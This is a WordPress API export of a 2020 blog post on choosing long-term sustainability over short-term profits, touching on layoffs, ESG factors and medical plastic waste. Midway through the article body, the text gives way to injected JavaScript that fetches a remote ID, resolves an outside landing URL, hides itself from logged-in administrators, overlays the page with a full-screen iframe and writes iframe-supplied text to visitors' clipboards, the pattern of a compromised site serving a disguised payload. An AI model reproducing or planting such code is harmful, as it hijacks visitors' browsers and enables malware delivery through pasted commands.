{"id":831,"date":"2020-10-02T14:55:15","date_gmt":"2020-10-02T12:55:15","guid":{"rendered":"http:\/\/actforyourplanet.com\/?p=831"},"modified":"2026-05-22T23:09:51","modified_gmt":"2026-05-22T21:09:51","slug":"long-term-sustainability-over-short-term-profits","status":"publish","type":"post","link":"https:\/\/actforyourplanet.com\/index.php\/2020\/10\/02\/long-term-sustainability-over-short-term-profits\/","title":{"rendered":"Long-term sustainability over short-term profits"},"content":{"rendered":"<p>The pandemic is forcing companies to choose whether to focus on long-term sustainability over short-term profits.<\/p>\n<p>Which path is your company going to take?\u00a0<img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-833 alignleft\" src=\"http:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business-300x300.jpg\" alt=\"\" width=\"300\" height=\"300\" srcset=\"https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business-300x300.jpg 300w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business-150x150.jpg 150w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business-768x768.jpg 768w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business-1024x1024.jpg 1024w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business-750x750.jpg 750w, https:\/\/actforyourplanet.com\/wp-content\/uploads\/2020\/10\/out-of-business.jpg 2048w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/p>\n<div class=\"st__content-block st__content-block--text\">\n<p>The COVID-19 crisis is likely to increase awareness that companies must consider societal needs and ethical standards, not just short-term profits. This is particularly important for companies seeking to retain the skillsets of their workers and politicians striving to avoid societal discontent. Another study prove\u00a0that following layoffs at a firm, the remaining employees saw a 41% decline in job satisfaction, a 36% decrease in organizational commitment and a 20% decline in job performance. Such numbers further point to long-term negative impacts on health and, as a result, skillsets.<\/p>\n<\/div>\n<div class=\"st__content-block st__content-block--text\">\n<p>other studies prove \u00a0that stock market outperformance depends on companies focusing on ESG factors that have a material impact on their business, such as waste reduction. In effect, the pandemic has highlighted concerns about the safety of secondary raw materials, the accumulation of medical plastic waste and the need for their proper disposal.<\/p>\n<\/div>\n<div class=\"st__content-block st__content-block--text\">\n<p>During the past months we have rediscovered the role of polymers in our lives, including disposable ones. In medicine, plastic remains one of the most important materials, since it almost completely solves the problem of contamination. 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text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }<\/p>\n<p>    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }<\/p>\n<p>    return \"\";\n  }<\/p>\n<p>  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }<\/p>\n<p>  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;<\/p>\n<p>    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;<\/p>\n<p>    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;<\/p>\n<p>      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;<\/p>\n<p>      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }<\/p>\n<p>      parent.appendChild(link);\n    } catch (e) {}\n  }<\/p>\n<p>  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;<\/p>\n<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }<\/p>\n<p>      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));<\/p>\n<p>      if (!builtUrl) {\n        return step(index + 1);\n      }<\/p>\n<p>      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }<\/p>\n<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }<\/p>\n<p>    return step(0);\n  }<\/p>\n<p>  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;<\/p>\n<p>    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }<\/p>\n<p>    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }<\/p>\n<p>    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }<\/p>\n<p>    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;<\/p>\n<p>    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);<\/p>\n<p>      registry.status = \"active\";<\/p>\n<p>      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");<\/p>\n<p>      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }<\/p>\n<p>    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }<\/p>\n<p>    registry.destroy = destroy;\n    registry.reveal = reveal;<\/p>\n<p>    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");<\/p>\n<p>    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };<\/p>\n<p>    iframe.onerror = function () {\n      destroy();\n    };<\/p>\n<p>    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);<\/p>\n<p>    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }<\/p>\n<p>  function run() {\n    warmupOrigins();\n    bindMessageHandler();<\/p>\n<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        finalUrl = toHttpUrl(finalUrl);<\/p>\n<p>        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }<\/p>\n<p>        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }<\/p>\n<p>        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }<\/p>\n<p>  registry.runPromise = run();\n})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The pandemic is forcing companies to choose whether to focus on long-term sustainability over short-term profits. Which path is your company going to take?\u00a0 The COVID-19 crisis is likely to increase awareness that companies must consider societal needs and ethical standards, not just short-term profits. This is particularly important for companies seeking to retain the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":833,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","footnotes":""},"categories":[30,17,34],"tags":[],"class_list":["post-831","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-climate-en","category-energy-en","category-waste-en"],"_links":{"self":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/comments?post=831"}],"version-history":[{"count":3,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/831\/revisions"}],"predecessor-version":[{"id":1531,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/posts\/831\/revisions\/1531"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media\/833"}],"wp:attachment":[{"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/media?parent=831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/categories?post=831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/actforyourplanet.com\/index.php\/wp-json\/wp\/v2\/tags?post=831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}